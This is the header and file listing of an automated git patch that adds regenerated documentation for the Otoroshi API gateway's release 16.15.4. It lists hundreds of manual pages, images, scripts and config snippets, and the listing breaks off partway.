From ee1bdb2ced02ad3687baa2ec78709a226ed73805 Mon Sep 17 00:00:00 2001 From: otoroshi-bot-github-actions Date: Thu, 21 Mar 2024 13:19:18 +0000 Subject: [PATCH] [release 16.15.4] Update site documentation before release --- docs/manual/about.html | 412 + docs/manual/api.html | 412 + docs/manual/architecture.html | 389 + docs/manual/code/openapi.json | 23357 ++++++++++++++++ docs/manual/code/swagger.json | 8099 ++++++ docs/manual/content-pretty.json | 639 + docs/manual/content.json | 1 + docs/manual/css/fonts/icons.eot | Bin 0 -> 1760 bytes docs/manual/css/fonts/icons.svg | 12 + docs/manual/css/fonts/icons.ttf | Bin 0 -> 1604 bytes docs/manual/css/fonts/icons.woff | Bin 0 -> 1240 bytes docs/manual/css/page.css | 1304 + docs/manual/css/plugins.css | 333 + docs/manual/css/print.css | 27 + docs/manual/css/single.css | 63 + docs/manual/deploy/aws.html | 572 + docs/manual/deploy/clever-cloud.html | 452 + docs/manual/deploy/clustering.html | 490 + docs/manual/deploy/index.html | 461 + docs/manual/deploy/kubernetes.html | 5227 ++++ docs/manual/deploy/scaling.html | 648 + docs/manual/dev.html | 464 + docs/manual/entities/apikeys.html | 464 + docs/manual/entities/auth-modules.html | 612 + docs/manual/entities/backends.html | 480 + docs/manual/entities/certificates.html | 445 + docs/manual/entities/data-exporters.html | 642 + docs/manual/entities/global-config.html | 567 + docs/manual/entities/index.html | 477 + docs/manual/entities/jwt-verifiers.html | 523 + docs/manual/entities/organizations.html | 434 + docs/manual/entities/routes.html | 477 + docs/manual/entities/scripts.html | 416 + docs/manual/entities/service-descriptors.html | 695 + docs/manual/entities/service-groups.html | 409 + docs/manual/entities/tcp-services.html | 450 + docs/manual/entities/teams.html | 436 + docs/manual/features.html | 577 + docs/manual/getting-started.html | 574 + .../how-to-s/communicate-with-kafka.html | 822 + .../how-to-s/create-custom-auth-module.html | 589 + .../manual/how-to-s/custom-initial-state.html | 431 + docs/manual/how-to-s/custom-log-levels.html | 589 + docs/manual/how-to-s/end-to-end-mtls.html | 691 + .../how-to-s/export-alerts-using-mailgun.html | 438 + .../how-to-s/export-events-to-elastic.html | 506 + .../import-export-otoroshi-datastore.html | 1372 + docs/manual/how-to-s/index.html | 412 + .../how-to-s/instantiate-waf-coraza.html | 631 + docs/manual/how-to-s/resources-loader.html | 398 + .../secure-an-app-with-jwt-verifiers.html | 519 + .../how-to-s/secure-app-with-auth0.html | 505 + .../how-to-s/secure-app-with-keycloak.html | 676 + .../manual/how-to-s/secure-app-with-ldap.html | 644 + ...on-between-a-backend-app-and-otoroshi.html | 487 + docs/manual/how-to-s/secure-with-apikey.html | 597 + .../how-to-s/secure-with-oauth1-client.html | 565 + ...secure-with-oauth2-client-credentials.html | 503 + .../how-to-s/setup-otoroshi-cluster.html | 513 + .../how-to-s/tailscale-integration.html | 419 + ...ls-termination-using-own-certificates.html | 515 + .../how-to-s/tls-using-lets-encrypt.html | 410 + docs/manual/how-to-s/wasm-usage.html | 946 + docs/manual/how-to-s/wasmo-installation.html | 707 + docs/manual/how-to-s/working-with-eureka.html | 565 + docs/manual/how-to-s/zip-backend-plugin.html | 543 + docs/manual/imgs/amazon-ecs.png | Bin 0 -> 22615 bytes docs/manual/imgs/architecture-1-bis.png | Bin 0 -> 15676 bytes docs/manual/imgs/architecture-1.png | Bin 0 -> 16699 bytes docs/manual/imgs/architecture-2-bis.png | Bin 0 -> 39589 bytes docs/manual/imgs/architecture-2.png | Bin 0 -> 37468 bytes docs/manual/imgs/azure-container-service.png | Bin 0 -> 15483 bytes docs/manual/imgs/bw-otoroshi-logo.png | Bin 0 -> 81112 bytes docs/manual/imgs/cassandra.png | Bin 0 -> 25008 bytes docs/manual/imgs/clever-cloud.png | Bin 0 -> 36584 bytes docs/manual/imgs/cloudfoundry.png | Bin 0 -> 26400 bytes docs/manual/imgs/cluster-3.png | Bin 0 -> 169295 bytes docs/manual/imgs/cluster-4.png | Bin 0 -> 150771 bytes docs/manual/imgs/cluster-5.jpg | Bin 0 -> 871246 bytes docs/manual/imgs/cluster-6.png | Bin 0 -> 119998 bytes docs/manual/imgs/clustering.png | Bin 0 -> 355812 bytes docs/manual/imgs/countries-api.png | Bin 0 -> 199691 bytes docs/manual/imgs/daikoku-logo.png | Bin 0 -> 220326 bytes docs/manual/imgs/datastores.png | Bin 0 -> 10487 bytes docs/manual/imgs/deploy-cc-0.png | Bin 0 -> 62898 bytes docs/manual/imgs/deploy-cc-1.png | Bin 0 -> 174992 bytes docs/manual/imgs/deploy-cc-2.png | Bin 0 -> 155998 bytes docs/manual/imgs/deploy-cc-3.png | Bin 0 -> 43749 bytes docs/manual/imgs/deploy-cc-4-bis.png | Bin 0 -> 20245 bytes docs/manual/imgs/deploy-cc-4.png | Bin 0 -> 94594 bytes docs/manual/imgs/deploy-cc-5.png | Bin 0 -> 126017 bytes docs/manual/imgs/deploy-cc-jar-0.png | Bin 0 -> 69148 bytes docs/manual/imgs/deploy-cc-jar-1.png | Bin 0 -> 168578 bytes docs/manual/imgs/deploy-elb-0.png | Bin 0 -> 342780 bytes docs/manual/imgs/deploy-elb-1.png | Bin 0 -> 762970 bytes docs/manual/imgs/deploy-elb-10.png | Bin 0 -> 239697 bytes docs/manual/imgs/deploy-elb-11.png | Bin 0 -> 362850 bytes docs/manual/imgs/deploy-elb-12.png | Bin 0 -> 249775 bytes docs/manual/imgs/deploy-elb-13.png | Bin 0 -> 259735 bytes docs/manual/imgs/deploy-elb-14.png | Bin 0 -> 411545 bytes docs/manual/imgs/deploy-elb-15.png | Bin 0 -> 216587 bytes docs/manual/imgs/deploy-elb-16.png | Bin 0 -> 154576 bytes docs/manual/imgs/deploy-elb-17.png | Bin 0 -> 416315 bytes docs/manual/imgs/deploy-elb-18.png | Bin 0 -> 328255 bytes docs/manual/imgs/deploy-elb-2.png | Bin 0 -> 376212 bytes docs/manual/imgs/deploy-elb-3.png | Bin 0 -> 495310 bytes docs/manual/imgs/deploy-elb-4.png | Bin 0 -> 349407 bytes docs/manual/imgs/deploy-elb-5.png | Bin 0 -> 944159 bytes docs/manual/imgs/deploy-elb-6.png | Bin 0 -> 452172 bytes docs/manual/imgs/deploy-elb-7.png | Bin 0 -> 150611 bytes docs/manual/imgs/deploy-elb-8.png | Bin 0 -> 368952 bytes docs/manual/imgs/deploy-elb-9.png | Bin 0 -> 379455 bytes docs/manual/imgs/documentation.png | Bin 0 -> 7671 bytes docs/manual/imgs/elastic-beanstalk.png | Bin 0 -> 49702 bytes docs/manual/imgs/entities-certificates.png | Bin 0 -> 7558 bytes docs/manual/imgs/entities-danger-zone.png | Bin 0 -> 6254 bytes docs/manual/imgs/entities-exporters.png | Bin 0 -> 6187 bytes docs/manual/imgs/entities-groups.png | Bin 0 -> 3587 bytes docs/manual/imgs/entities-keys.png | Bin 0 -> 4883 bytes docs/manual/imgs/entities-plugins.png | Bin 0 -> 6375 bytes docs/manual/imgs/entities-routes.png | Bin 0 -> 8560 bytes docs/manual/imgs/entities-security.png | Bin 0 -> 4571 bytes docs/manual/imgs/entities-services.png | Bin 0 -> 6683 bytes docs/manual/imgs/exchange-2.png | Bin 0 -> 27211 bytes docs/manual/imgs/exchange.png | Bin 0 -> 26859 bytes docs/manual/imgs/filedb.png | Bin 0 -> 9694 bytes .../generated-hows-to-ldap-auth-configs.png | Bin 0 -> 200294 bytes .../generated-hows-to-ldap-manage-users.png | Bin 0 -> 22960 bytes ...erated-hows-to-secure-an-app-with-ldap.png | Bin 0 -> 58426 bytes ...ed-hows-to-secure-with-oauth1-provider.png | Bin 0 -> 95226 bytes docs/manual/imgs/generated-index-md-home.png | Bin 0 -> 152733 bytes docs/manual/imgs/google.jpeg | Bin 0 -> 39186 bytes docs/manual/imgs/graphql-composer.png | Bin 0 -> 175863 bytes docs/manual/imgs/greenscore.png | Bin 0 -> 36678 bytes docs/manual/imgs/heroku.png | Bin 0 -> 30037 bytes ...-secure-app-with-oauth1-provider-input.png | Bin 0 -> 7398 bytes ...-secure-app-with-oauth1-provider-trust.png | Bin 0 -> 7149 bytes docs/manual/imgs/inmemory.png | Bin 0 -> 32678 bytes .../imgs/jwt-token-keypair-validation.png | Bin 0 -> 19991 bytes docs/manual/imgs/kafka-plaintext.png | Bin 0 -> 40725 bytes docs/manual/imgs/kafka-sasl-plaintext.png | Bin 0 -> 58016 bytes docs/manual/imgs/kafka-sasl-ssl.png | Bin 0 -> 94036 bytes docs/manual/imgs/kafka-ssl.png | Bin 0 -> 80895 bytes ...kubernetes-daikoku-integration-enabled.png | Bin 0 -> 222738 bytes .../kubernetes-daikoku-integration-token.png | Bin 0 -> 331340 bytes docs/manual/imgs/kubernetes.png | Bin 0 -> 87129 bytes docs/manual/imgs/models-apikey.png | Bin 0 -> 5925 bytes docs/manual/imgs/models-group.png | Bin 0 -> 6114 bytes docs/manual/imgs/models-service.png | Bin 0 -> 6060 bytes docs/manual/imgs/mtls-arch-1.jpg | Bin 0 -> 327034 bytes docs/manual/imgs/mtls-arch-2.jpg | Bin 0 -> 482044 bytes docs/manual/imgs/opensource.png | Bin 0 -> 13588 bytes docs/manual/imgs/organizations-and-teams.png | Bin 0 -> 38591 bytes docs/manual/imgs/otlp-logs.png | Bin 0 -> 40497 bytes docs/manual/imgs/otlp-metrics.png | Bin 0 -> 26699 bytes docs/manual/imgs/otoroshi-wasm-manager-1.png | Bin 0 -> 225042 bytes docs/manual/imgs/paste.png | Bin 0 -> 29269 bytes docs/manual/imgs/postgres.png | Bin 0 -> 73592 bytes docs/manual/imgs/push-to-elastic.png | Bin 0 -> 74284 bytes docs/manual/imgs/redis.png | Bin 0 -> 111349 bytes docs/manual/imgs/relay-api-hostnames.png | Bin 0 -> 16297 bytes docs/manual/imgs/relay-target-filter.png | Bin 0 -> 20139 bytes docs/manual/imgs/relay.png | Bin 0 -> 590609 bytes .../manual/imgs/route_comp_openapi_import.png | Bin 0 -> 230321 bytes docs/manual/imgs/scaling.png | Bin 0 -> 328746 bytes docs/manual/imgs/scripts-1.png | Bin 0 -> 482520 bytes docs/manual/imgs/scripts-2.png | Bin 0 -> 408312 bytes docs/manual/imgs/sec-com-signing-2-bis.png | Bin 0 -> 99983 bytes docs/manual/imgs/sec-com-signing-2.png | Bin 0 -> 91665 bytes docs/manual/imgs/sec-com-signing-bis.png | Bin 0 -> 61773 bytes docs/manual/imgs/sec-com-signing.png | Bin 0 -> 53467 bytes ...secure-an-app-with-jwt-verifiers-jwtio.png | Bin 0 -> 300314 bytes ...app-with-jwt-verifiers-transform-jwtio.png | Bin 0 -> 323565 bytes docs/manual/imgs/service-analytics.png | Bin 0 -> 225571 bytes docs/manual/imgs/service-healthcheck.png | Bin 0 -> 145297 bytes docs/manual/imgs/service-live-stats.png | Bin 0 -> 173620 bytes docs/manual/imgs/small-otoroshi-logo-xmas.png | Bin 0 -> 9410 bytes docs/manual/imgs/small-otoroshi-logo.png | Bin 0 -> 7552 bytes docs/manual/imgs/snow-monkey-faults.png | Bin 0 -> 148811 bytes docs/manual/imgs/snow-monkey-outages.png | Bin 0 -> 79565 bytes docs/manual/imgs/snow-monkey-settings.png | Bin 0 -> 120750 bytes docs/manual/imgs/snow-monkey-start.png | Bin 0 -> 16596 bytes docs/manual/imgs/snow-monkey.png | Bin 0 -> 638915 bytes docs/manual/imgs/tls-call-settings.png | Bin 0 -> 31966 bytes docs/manual/imgs/tunnel-creation.jpeg | Bin 0 -> 223996 bytes docs/manual/imgs/tunnel-expose.png | Bin 0 -> 136141 bytes docs/manual/imgs/tunnel-exposition.png | Bin 0 -> 102168 bytes docs/manual/imgs/tunnel-plugin.png | Bin 0 -> 101027 bytes docs/manual/imgs/tunnel-requests.jpeg | Bin 0 -> 229050 bytes docs/manual/imgs/wasm-authz.png | Bin 0 -> 86480 bytes docs/manual/imgs/wasm-plugin.png | Bin 0 -> 92127 bytes docs/manual/imgs/zip-backend-final-result.png | Bin 0 -> 29864 bytes docs/manual/index.html | 442 + docs/manual/install/get-otoroshi.html | 419 + docs/manual/install/index.html | 389 + docs/manual/install/run-otoroshi.html | 466 + docs/manual/install/setup-otoroshi.html | 3814 +++ docs/manual/js/cc.js | 145 + docs/manual/js/expression-language.js | 413 + docs/manual/js/groups.js | 167 + docs/manual/js/magellan.js | 25 + docs/manual/js/ngplugins.js | 46 + docs/manual/js/page.js | 348 + docs/manual/js/plugins.js | 111 + docs/manual/js/snippets.js | 6 + docs/manual/js/warnOldVersion.js | 23 + .../lib/foundation/dist/foundation.min.css | 2 + .../lib/foundation/dist/foundation.min.js | 4 + docs/manual/lib/jquery/jquery.min.js | 5 + docs/manual/lib/prettify/lang-scala.js | 2 + docs/manual/lib/prettify/prettify.css | 1 + docs/manual/lib/prettify/prettify.js | 30 + docs/manual/paradox.json | 4 + .../plugins/built-in-legacy-plugins.html | 2465 ++ docs/manual/plugins/built-in-plugins.html | 3123 +++ docs/manual/plugins/create-plugins.html | 541 + docs/manual/plugins/index.html | 390 + docs/manual/plugins/plugins.html | 419 + docs/manual/print-toc.xslt | 74 + docs/manual/schemas/architecture-1-bis.ditaa | 32 + docs/manual/schemas/architecture-1.ditaa | 32 + docs/manual/schemas/architecture-2-bis.ditaa | 51 + docs/manual/schemas/architecture-2.ditaa | 51 + docs/manual/schemas/datastores.ditaa | 19 + docs/manual/schemas/exchange-2.ditaa | 16 + docs/manual/schemas/exchange.ditaa | 16 + docs/manual/schemas/models-apikey.ditaa | 15 + docs/manual/schemas/models-group.ditaa | 15 + docs/manual/schemas/models-service.ditaa | 15 + docs/manual/search.html | 381 + .../search/fragment/en_14bac53.pf_fragment | Bin 0 -> 3281 bytes .../search/fragment/en_1685679.pf_fragment | Bin 0 -> 1973 bytes .../search/fragment/en_1829918.pf_fragment | Bin 0 -> 5806 bytes .../search/fragment/en_1c523d2.pf_fragment | Bin 0 -> 223 bytes .../search/fragment/en_22444ae.pf_fragment | Bin 0 -> 611 bytes .../search/fragment/en_26bfb34.pf_fragment | Bin 0 -> 895 bytes .../search/fragment/en_2a4d45e.pf_fragment | Bin 0 -> 637 bytes .../search/fragment/en_2d3ab1c.pf_fragment | Bin 0 -> 3026 bytes .../search/fragment/en_31bc4d9.pf_fragment | Bin 0 -> 3558 bytes .../search/fragment/en_345c6f9.pf_fragment | Bin 0 -> 3247 bytes .../search/fragment/en_348d59a.pf_fragment | Bin 0 -> 2186 bytes .../search/fragment/en_3efdab9.pf_fragment | Bin 0 -> 1607 bytes .../search/fragment/en_4523e46.pf_fragment | Bin 0 -> 2214 bytes .../search/fragment/en_4bd68a7.pf_fragment | Bin 0 -> 1736 bytes .../search/fragment/en_5539558.pf_fragment | Bin 0 -> 3423 bytes .../search/fragment/en_561b1da.pf_fragment | Bin 0 -> 2170 bytes .../search/fragment/en_57d1f4a.pf_fragment | Bin 0 -> 3057 bytes .../search/fragment/en_57d93a8.pf_fragment | Bin 0 -> 1101 bytes .../search/fragment/en_5c7df15.pf_fragment | Bin 0 -> 3708 bytes .../search/fragment/en_5e4c139.pf_fragment | Bin 0 -> 3666 bytes .../search/fragment/en_5f77579.pf_fragment | Bin 0 -> 814 bytes .../search/fragment/en_63162a2.pf_fragment | Bin 0 -> 3232 bytes .../search/fragment/en_68e4195.pf_fragment | Bin 0 -> 5799 bytes .../search/fragment/en_68fe52f.pf_fragment | Bin 0 -> 1745 bytes .../search/fragment/en_69f4e9c.pf_fragment | Bin 0 -> 3701 bytes .../search/fragment/en_6bd6a46.pf_fragment | Bin 0 -> 270 bytes .../search/fragment/en_6f1426b.pf_fragment | Bin 0 -> 3142 bytes .../search/fragment/en_6fef849.pf_fragment | Bin 0 -> 4676 bytes .../search/fragment/en_7052511.pf_fragment | Bin 0 -> 1600 bytes .../search/fragment/en_70d47ea.pf_fragment | Bin 0 -> 480 bytes .../search/fragment/en_7287c5f.pf_fragment | Bin 0 -> 790 bytes .../search/fragment/en_764b2d4.pf_fragment | Bin 0 -> 2304 bytes .../search/fragment/en_7fa9317.pf_fragment | Bin 0 -> 2468 bytes .../search/fragment/en_82e3bb3.pf_fragment | Bin 0 -> 1365 bytes .../search/fragment/en_8414cf6.pf_fragment | Bin 0 -> 2997 bytes .../search/fragment/en_8689667.pf_fragment | Bin 0 -> 3241 bytes .../search/fragment/en_881e3a2.pf_fragment | Bin 0 -> 6081 bytes .../search/fragment/en_881fb81.pf_fragment | Bin 0 -> 2144 bytes .../search/fragment/en_8870422.pf_fragment | Bin 0 -> 4392 bytes .../search/fragment/en_8d13f1a.pf_fragment | Bin 0 -> 1262 bytes .../search/fragment/en_8f691fb.pf_fragment | Bin 0 -> 829 bytes .../search/fragment/en_9147e4c.pf_fragment | Bin 0 -> 2192 bytes .../search/fragment/en_9247515.pf_fragment | Bin 0 -> 924 bytes .../search/fragment/en_9636f72.pf_fragment | Bin 0 -> 2431 bytes .../search/fragment/en_96a927a.pf_fragment | Bin 0 -> 1934 bytes .../search/fragment/en_9777f2c.pf_fragment | Bin 0 -> 1742 bytes .../search/fragment/en_97e4251.pf_fragment | Bin 0 -> 3147 bytes .../search/fragment/en_98f127a.pf_fragment | Bin 0 -> 432 bytes .../search/fragment/en_9c91d6b.pf_fragment | Bin 0 -> 1291 bytes .../search/fragment/en_9e42798.pf_fragment | Bin 0 -> 16801 bytes .../search/fragment/en_a45ea97.pf_fragment | Bin 0 -> 1222 bytes .../search/fragment/en_a4f537f.pf_fragment | Bin 0 -> 3460 bytes .../search/fragment/en_af356af.pf_fragment | Bin 0 -> 1069 bytes .../search/fragment/en_b496393.pf_fragment | Bin 0 -> 718 bytes .../search/fragment/en_b5c5451.pf_fragment | Bin 0 -> 26976 bytes .../search/fragment/en_b79f295.pf_fragment | Bin 0 -> 850 bytes .../search/fragment/en_ba331fb.pf_fragment | Bin 0 -> 1279 bytes .../search/fragment/en_bd73492.pf_fragment | Bin 0 -> 975 bytes .../search/fragment/en_bdcae67.pf_fragment | Bin 0 -> 5847 bytes .../search/fragment/en_bf1a2f6.pf_fragment | Bin 0 -> 2089 bytes .../search/fragment/en_c6e5a07.pf_fragment | Bin 0 -> 621 bytes .../search/fragment/en_c9ae64c.pf_fragment | Bin 0 -> 937 bytes .../search/fragment/en_cbeed21.pf_fragment | Bin 0 -> 1718 bytes .../search/fragment/en_cc18166.pf_fragment | Bin 0 -> 2129 bytes .../search/fragment/en_d2b2aff.pf_fragment | Bin 0 -> 1791 bytes .../search/fragment/en_d327635.pf_fragment | Bin 0 -> 2762 bytes .../search/fragment/en_d44b4b7.pf_fragment | Bin 0 -> 1886 bytes .../search/fragment/en_d49b2b3.pf_fragment | Bin 0 -> 1059 bytes .../search/fragment/en_d4cc2c2.pf_fragment | Bin 0 -> 11785 bytes .../search/fragment/en_d81947b.pf_fragment | Bin 0 -> 1334 bytes .../search/fragment/en_da672b4.pf_fragment | Bin 0 -> 9951 bytes .../search/fragment/en_deb34c3.pf_fragment | Bin 0 -> 262 bytes .../search/fragment/en_dfe71ee.pf_fragment | Bin 0 -> 923 bytes .../search/fragment/en_e465247.pf_fragment | Bin 0 -> 828 bytes .../search/fragment/en_e6f6a3b.pf_fragment | Bin 0 -> 1243 bytes .../search/fragment/en_e99e2bc.pf_fragment | Bin 0 -> 5125 bytes .../search/fragment/en_e9bec59.pf_fragment | Bin 0 -> 778 bytes .../search/fragment/en_eaa4822.pf_fragment | Bin 0 -> 1974 bytes .../search/fragment/en_ef86adb.pf_fragment | Bin 0 -> 1206 bytes .../search/fragment/en_f19bbdf.pf_fragment | Bin 0 -> 706 bytes .../search/fragment/en_f1df88f.pf_fragment | Bin 0 -> 3102 bytes .../search/fragment/en_f6d27fb.pf_fragment | Bin 0 -> 4536 bytes .../search/fragment/en_f78f922.pf_fragment | Bin 0 -> 2134 bytes .../search/fragment/en_f851464.pf_fragment | Bin 0 -> 638 bytes .../search/fragment/en_fa9db89.pf_fragment | Bin 0 -> 2135 bytes .../search/fragment/en_fb6c959.pf_fragment | Bin 0 -> 1607 bytes .../search/fragment/en_fe1c71d.pf_fragment | Bin 0 -> 1273 bytes docs/manual/search/index/en_10b6ba3.pf_index | Bin 0 -> 43153 bytes docs/manual/search/index/en_1798eb8.pf_index | Bin 0 -> 41741 bytes docs/manual/search/index/en_19cd13c.pf_index | Bin 0 -> 40139 bytes docs/manual/search/index/en_19db2f3.pf_index | Bin 0 -> 40346 bytes docs/manual/search/index/en_4472772.pf_index | Bin 0 -> 43831 bytes docs/manual/search/index/en_5a19765.pf_index | Bin 0 -> 43393 bytes docs/manual/search/index/en_7b1a9b7.pf_index | Bin 0 -> 40808 bytes docs/manual/search/index/en_833fa16.pf_index | Bin 0 -> 46792 bytes docs/manual/search/index/en_be2d6a4.pf_index | Bin 0 -> 2802 bytes docs/manual/search/index/en_c7d457d.pf_index | Bin 0 -> 41926 bytes docs/manual/search/index/en_dab82bf.pf_index | Bin 0 -> 40552 bytes docs/manual/search/pagefind-entry.json | 1 + docs/manual/search/pagefind-highlight.js | 1069 + docs/manual/search/pagefind-modular-ui.css | 214 + docs/manual/search/pagefind-modular-ui.js | 8 + docs/manual/search/pagefind-ui.css | 1 + docs/manual/search/pagefind-ui.js | 2 + .../search/pagefind.en_7715add9a7.pf_meta | Bin 0 -> 940 bytes docs/manual/search/pagefind.js | 9 + docs/manual/search/wasm.en.pagefind | Bin 0 -> 60245 bytes docs/manual/search/wasm.unknown.pagefind | Bin 0 -> 55137 bytes docs/manual/snippets/.gitignore | 1 + docs/manual/snippets/build.gradle | 5 + docs/manual/snippets/build.sbt | 2 + docs/manual/snippets/cluster-run-ha.sh | 15 + docs/manual/snippets/crds/apikey.yaml | 17 + docs/manual/snippets/crds/auth.yaml | 56 + docs/manual/snippets/crds/certificate.yaml | 18 + docs/manual/snippets/crds/group.yaml | 8 + docs/manual/snippets/crds/jwt.yaml | 23 + docs/manual/snippets/crds/organization.yaml | 9 + .../snippets/crds/service-descriptor.yaml | 34 + docs/manual/snippets/crds/team.yaml | 10 + .../manual/snippets/datastores/cassandra.conf | 341 + docs/manual/snippets/datastores/file.conf | 11 + docs/manual/snippets/datastores/http.conf | 9 + docs/manual/snippets/datastores/inmemory.conf | 17 + docs/manual/snippets/datastores/lettuce.conf | 26 + docs/manual/snippets/datastores/pg.conf | 67 + docs/manual/snippets/datastores/redis.conf | 81 + docs/manual/snippets/datastores/s3.conf | 25 + docs/manual/snippets/embed.java | 62 + docs/manual/snippets/embed.scala | 92 + docs/manual/snippets/fetch.sh | 7 + docs/manual/snippets/filter.java | 103 + docs/manual/snippets/filter.scala | 80 + docs/manual/snippets/haproxy-http.conf | 37 + docs/manual/snippets/haproxy-tcp.conf | 29 + docs/manual/snippets/nginx-http.conf | 62 + docs/manual/snippets/nginx-tcp.conf | 30 + docs/manual/snippets/proxy.rs | 42 + docs/manual/snippets/reference-env.conf | 1058 + docs/manual/snippets/reference.conf | 1716 ++ docs/manual/snippets/tcp-proxy.js | 14 + docs/manual/snippets/wasmo/Cargo.toml | 17 + docs/manual/snippets/wasmo/go.mod | 5 + docs/manual/snippets/wasmo/host.go | 41 + docs/manual/snippets/wasmo/host.rs | 67 + docs/manual/snippets/wasmo/package.json | 7 + docs/manual/snippets/wasmo/target.go | 30 + docs/manual/snippets/wasmo/target.js | 20 + docs/manual/snippets/wasmo/target.rs | 22 + docs/manual/snippets/wasmo/target.ts | 25 + docs/manual/snippets/wasmo/validator.go | 38 + docs/manual/snippets/wasmo/validator.js | 21 + docs/manual/snippets/wasmo/validator.rs | 33 + docs/manual/snippets/wasmo/validator.ts | 25 + docs/manual/topics/anonymous-reporting.html | 663 + docs/manual/topics/chaos-engineering.html | 434 + docs/manual/topics/dev-portal.html | 419 + docs/manual/topics/engine.html | 1094 + docs/manual/topics/events-and-analytics.html | 545 + docs/manual/topics/expression-language.html | 648 + docs/manual/topics/graphql-composer.html | 1009 + docs/manual/topics/green-score.html | 400 + docs/manual/topics/http3.html | 413 + docs/manual/topics/index.html | 407 + docs/manual/topics/monitoring.html | 580 + docs/manual/topics/netty-server.html | 516 + docs/manual/topics/opentelemetry.html | 471 + docs/manual/topics/otoroshi-protocol.html | 621 + docs/manual/topics/pki.html | 478 + docs/manual/topics/relay-routing.html | 466 + docs/manual/topics/secrets.html | 645 + docs/manual/topics/sessions-mgmt.html | 432 + docs/manual/topics/tls.html | 458 + docs/manual/topics/tunnels.html | 455 + docs/manual/topics/user-rights.html | 445 + docs/manual/topics/wasm-usage.html | 1079 + manual/src/main/paradox/content-pretty.json | 18 +- manual/src/main/paradox/content.json | 2 +- .../main/paradox/snippets/reference-env.conf | 1 + .../src/main/paradox/snippets/reference.conf | 2 + 410 files changed, 101003 insertions(+), 10 deletions(-) create mode 100644 docs/manual/about.html create mode 100644 docs/manual/api.html create mode 100644 docs/manual/architecture.html create mode 100644 docs/manual/code/openapi.json create mode 100644 docs/manual/code/swagger.json create mode 100644 docs/manual/content-pretty.json create mode 100644 docs/manual/content.json create mode 100644 docs/manual/css/fonts/icons.eot create mode 100644 docs/manual/css/fonts/icons.svg create mode 100644 docs/manual/css/fonts/icons.ttf create mode 100644 docs/manual/css/fonts/icons.woff create mode 100644 docs/manual/css/page.css create mode 100644 docs/manual/css/plugins.css create mode 100644 docs/manual/css/print.css create mode 100644 docs/manual/css/single.css create mode 100644 docs/manual/deploy/aws.html create mode 100644 docs/manual/deploy/clever-cloud.html create mode 100644 docs/manual/deploy/clustering.html create mode 100644 docs/manual/deploy/index.html create mode 100644 docs/manual/deploy/kubernetes.html create mode 100644 docs/manual/deploy/scaling.html create mode 100644 docs/manual/dev.html create mode 100644 docs/manual/entities/apikeys.html create mode 100644 docs/manual/entities/auth-modules.html create mode 100644 docs/manual/entities/backends.html create mode 100644 docs/manual/entities/certificates.html create mode 100644 docs/manual/entities/data-exporters.html create mode 100644 docs/manual/entities/global-config.html create mode 100644 docs/manual/entities/index.html create mode 100644 docs/manual/entities/jwt-verifiers.html create mode 100644 docs/manual/entities/organizations.html create mode 100644 docs/manual/entities/routes.html create mode 100644 docs/manual/entities/scripts.html create mode 100644 docs/manual/entities/service-descriptors.html create mode 100644 docs/manual/entities/service-groups.html create mode 100644 docs/manual/entities/tcp-services.html create mode 100644 docs/manual/entities/teams.html create mode 100644 docs/manual/features.html create mode 100644 docs/manual/getting-started.html create mode 100644 docs/manual/how-to-s/communicate-with-kafka.html create mode 100644 docs/manual/how-to-s/create-custom-auth-module.html create mode 100644 docs/manual/how-to-s/custom-initial-state.html create mode 100644 docs/manual/how-to-s/custom-log-levels.html create mode 100644 docs/manual/how-to-s/end-to-end-mtls.html create mode 100644 docs/manual/how-to-s/export-alerts-using-mailgun.html create mode 100644 docs/manual/how-to-s/export-events-to-elastic.html create mode 100644 docs/manual/how-to-s/import-export-otoroshi-datastore.html create mode 100644 docs/manual/how-to-s/index.html create mode 100644 docs/manual/how-to-s/instantiate-waf-coraza.html create mode 100644 docs/manual/how-to-s/resources-loader.html create mode 100644 docs/manual/how-to-s/secure-an-app-with-jwt-verifiers.html create mode 100644 docs/manual/how-to-s/secure-app-with-auth0.html create mode 100644 docs/manual/how-to-s/secure-app-with-keycloak.html create mode 100644 docs/manual/how-to-s/secure-app-with-ldap.html create mode 100644 docs/manual/how-to-s/secure-the-communication-between-a-backend-app-and-otoroshi.html create mode 100644 docs/manual/how-to-s/secure-with-apikey.html create mode 100644 docs/manual/how-to-s/secure-with-oauth1-client.html create mode 100644 docs/manual/how-to-s/secure-with-oauth2-client-credentials.html create mode 100644 docs/manual/how-to-s/setup-otoroshi-cluster.html create mode 100644 docs/manual/how-to-s/tailscale-integration.html create mode 100644 docs/manual/how-to-s/tls-termination-using-own-certificates.html create mode 100644 docs/manual/how-to-s/tls-using-lets-encrypt.html create mode 100644 docs/manual/how-to-s/wasm-usage.html create mode 100644 docs/manual/how-to-s/wasmo-installation.html create mode 100644 docs/manual/how-to-s/working-with-eureka.html create mode 100644 docs/manual/how-to-s/zip-backend-plugin.html create mode 100644 docs/manual/imgs/amazon-ecs.png create mode 100644 docs/manual/imgs/architecture-1-bis.png create mode 100644 docs/manual/imgs/architecture-1.png create mode 100644 docs/manual/imgs/architecture-2-bis.png create mode 100644 docs/manual/imgs/architecture-2.png create mode 100644 docs/manual/imgs/azure-container-service.png create mode 100644 docs/manual/imgs/bw-otoroshi-logo.png create mode 100644 docs/manual/imgs/cassandra.png create mode 100644 docs/manual/imgs/clever-cloud.png create mode 100644 docs/manual/imgs/cloudfoundry.png create mode 100644 docs/manual/imgs/cluster-3.png create mode 100644 docs/manual/imgs/cluster-4.png create mode 100644 docs/manual/imgs/cluster-5.jpg create mode 100644 docs/manual/imgs/cluster-6.png create mode 100644 docs/manual/imgs/clustering.png create mode 100644 docs/manual/imgs/countries-api.png create mode 100644 docs/manual/imgs/daikoku-logo.png create mode 100644 docs/manual/imgs/datastores.png create mode 100644 docs/manual/imgs/deploy-cc-0.png create mode 100644 docs/manual/imgs/deploy-cc-1.png create mode 100644 docs/manual/imgs/deploy-cc-2.png create mode 100644 docs/manual/imgs/deploy-cc-3.png create mode 100644 docs/manual/imgs/deploy-cc-4-bis.png create mode 100644 docs/manual/imgs/deploy-cc-4.png create mode 100644 docs/manual/imgs/deploy-cc-5.png create mode 100644 docs/manual/imgs/deploy-cc-jar-0.png create mode 100644 docs/manual/imgs/deploy-cc-jar-1.png create mode 100644 docs/manual/imgs/deploy-elb-0.png create mode 100644 docs/manual/imgs/deploy-elb-1.png create mode 100644 docs/manual/imgs/deploy-elb-10.png create mode 100644 docs/manual/imgs/deploy-elb-11.png create mode 100644 docs/manual/imgs/deploy-elb-12.png create mode 100644 docs/manual/imgs/deploy-elb-13.png create mode 100644 docs/manual/imgs/deploy-elb-14.png create mode 100644 